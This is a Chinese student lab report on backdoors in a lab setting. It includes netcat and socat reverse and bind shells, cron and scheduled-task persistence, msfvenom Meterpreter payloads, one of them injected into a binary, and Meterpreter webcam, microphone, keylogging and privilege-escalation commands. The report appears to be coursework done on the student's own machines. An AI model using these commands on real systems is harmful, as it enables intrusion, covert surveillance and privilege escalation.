1.实验内容
(一)本周课程内容
了解后门概念,了解后门案例,后门会对系统安全造成的影响。
对后门技术进行普及,包括各种进程隐藏技术。了解netcat、meterpreter,veil等常见工具。
进一步学习shellcode注入的逻辑和多种情况。
(二)问题回答
(1) 例举你能想到的一个后门进入到你系统中的可能方式?
- 通过社会工程学手段诱导用户点击恶意链接或下载附件,进而安装后门,通过恶意软件利用漏洞进入。
(2)例举你知道的后门如何启动起来(win及linux)的方式? - nc ip port -e 指定端口建立连接。
- 使用socat连接
(3)Meterpreter有哪些给你映像深刻的功能? - 强大的远程操纵能力,比如查看目标主机的系统信息、网络配置、用户信息等,在目标主机上执行各种命令或程序。
(4)如何发现自己有系统有没有被安装后门? - 使用防病毒软件或安全工具对系统进行全面扫描,查找已知后门的特征。
- 定期进行系统安全扫描,检查系统是否存在异常。
2.实验过程
(一)使用netcat获取主机操作Shell,cron启动某项任务
1.查看主机ip。在cmd中使用ipconfig命令。
可见本机主机为192.168.66.210
2.使用netcat进行连接并获取
虚拟机登录。
主机cmd进入ncat所在目录,输入指令:ncat.exe -l -p 666(端口号)
Linux虚机输入指令:nc 192.168.66.210 666 -e /bin/sh(nc即netcat,后面是要连接的ip和port,-e是指定连接后运行的程序shell。)
主机输入ls,正常会显示虚拟机下文件名,但因是中文版所以会输出乱码,证明主机成功获取。
3.设置cron使得kali启动定时任务
cron 是一个在Linux中的任务调度程序,允许用户在指定的时间间隔内运行预定义的命令或脚本。
进入r虚拟机,rontab -e (执行文字编辑器来设定时程表),选择的2:/usr/bin/vim.basic;
输入后进入文字编辑器,输入指令30 * * * * /bin/netcat 192.168.66.210 666 -e /bin/sh
编辑好后退出文字编辑器,输入crontab -l查看时程表,同时在Linux主机中的/var/spool/cron/crontabs文件中会出现一个root文件
回到主机cmd,与linux建立连接,输入:
echo "* * * * * echo "20222404" > /root/TEST/2404_1.txt" > /var/spool/cron/crontabs/root(每分钟定时执行一次,用“20222404”覆盖文件2404_1.txt)
(二)使用socat获取主机操作Shell, 任务计划启动
1.在主机进入socat所在文件的cmd,输入:socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr(把cmd.exe绑定到端口8888,并把cmd.exe的stderr重定向到stdout)
Linux虚拟机:进入root用户,输入命令:
socat - tcp:192.168.66.210:8888
2.返回主机,准备一个程序如下:
3.在Linux上启用Windows的程序,通过命令行创建任务计划,在shell里输入命令:
schtasks /create /sc minute /mo 1 /tn "20222404_zjy" /tr C:\nhhsh2\nhh_2.exe(每一分钟执行一次我写的这个程序:)
返回主机的计算机管理,可看正在运行的程序中有,实验成功。
(三)在Linux下使用MSF meterpreter生成可执行文件,利用ncat或socat传送到Windows主机并运行获取主机shell
1.关闭主机的所有保护措施,包括实时保护和各种杀毒软件和防火墙。
2.生成后门文件。
在虚拟机中输入ifconfig获取虚拟机ip地址。
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform LHOST=192.168.47.128 LPORT=8888 -f exe > 2404backdoor.exe(使用msfvenom 工具生成一个反向 TCP Meterpreter shell 的 payload,并将其保存到一个可执行文件中。)
LHOST=192.168.47.128是shell 连接的主机 IP 地址,在本实验中是虚拟机的IP地址;
LPORT=8888是攻击者的系统上监听的端口号;
-f exe指定了生成的 payload 的格式,这里是exe;
2404backdoor.exe即生成的恶意可执行文件
3.将后门文件传输至目标主机
主机进入ncat所在目录下,输入指令:
ncat.exe -lv 8888 > "D:\2404backdoor.exe"(监听8888窗口等待接收可执行文件2404backdoor.exe,并将2221backdoor.exe文件存放在D盘)
拟机上输入指令:
nc 192.168.1.100 8888 < 2404backdoor.exe
成功接收文件
4.配置监听
回到虚拟机,在Kali终端输入命令msfconsole,然后对监听模块进行配置:
use exploit/multi/handler(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)
set LHOST 192.168.47.128 (攻击机的IP地址,和生成后门程序时指定的IP相同)
set LPORT 8888(监听的端口)
exploit,使监听模块开始运行,并在Windows终端运行后门文件
返回检查虚拟机,输入ls查看windows主机目录
(四)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1.获取目标主机音频、截屏、摄像头、键盘记录
在exploit模块中继续输入以下命令:
record_mic (音频)
screenshot (截屏)
webcam_snap (拍照)
keyscan_start (开始读取键盘记录)
keyscan_dump (读取键盘记录结束)
音频截屏和拍照被保存在root文档中
2.提权
确保windows的cmd指令是使用管理员身份运行的,继续在exploit模块中继续输入:
getuid (查看当前用户)
getsystem (提权指令)
(五)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
1.在kali命令行下输入:
Msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.47.128
LPORT=8888 -x /root/TEST/pwn1 -f elf > 2404_pwn
(使用了msfvenom 工具生成一个 Meterpreter 反向 TCP shell的 payload,并将其注入到指定的可执行文件中,然后将结果输出到一个名为 2404_pwn的文件中。)
p linux/x86/meterpreter/reverse_tcp:指定要生成的 payload 类型。
LHOST=192.168.47.128:目标主机 IP 地址(为虚拟机设置后门)
LPORT=8888:设置 Meterpreter shell 使用的本地端口号为 8888。
-x /root/TEST/pwn1:指定一个可执行文件作为模板
-f elf:指定输出文件的格式为 ELF 格式,适用于 Linux 系统的可执行文件格式。
输入指令msfconsole,重现监听过程。打开另一个终端,运行生成的2404_pwn。返回第一终端,输入ls确认连接。
3.问题及解决方案
- 问题1:MSF meterpreter生成后门文件不被windows主机识别,报错为“此应用无法在你的电脑上运行”,版本不相符问题。
- 问题1解决方案:修改msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.47.128 LPORT=8888 -f exe > 2221backdoor.exe代码,加入字段“-a x86 --platform ”指x86的32位构架进行传输。
- 问题2:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell,监听不成功。
- 问题2解决方案:发现是执行监听命令的过程并非与之前任务完全一致,而是有
4.学习感悟、思考等
本次实验整体并未出现大问题。主要问题来自命令相对过长、以及需要正确区分合适使用虚拟机、合适使用主机的地址。此外,因为实验的一些相关配置较老,也出现了版本不符的问题。
实验过程中,我对netcat,socat等的使用有了事件操作和切身理解,使用Metasploit生成可执行文件,然后通过netcat传送至目标主机运行,我了解了后门的隐患和攻击的方式,当利用Meterpreter进行音频录制、屏幕截图乃至拍照的时候也真的令我吃了一惊。本次实验中,我对计算机安全有了更深的认识,增强了我的防范意识,锻炼了我的动手能力。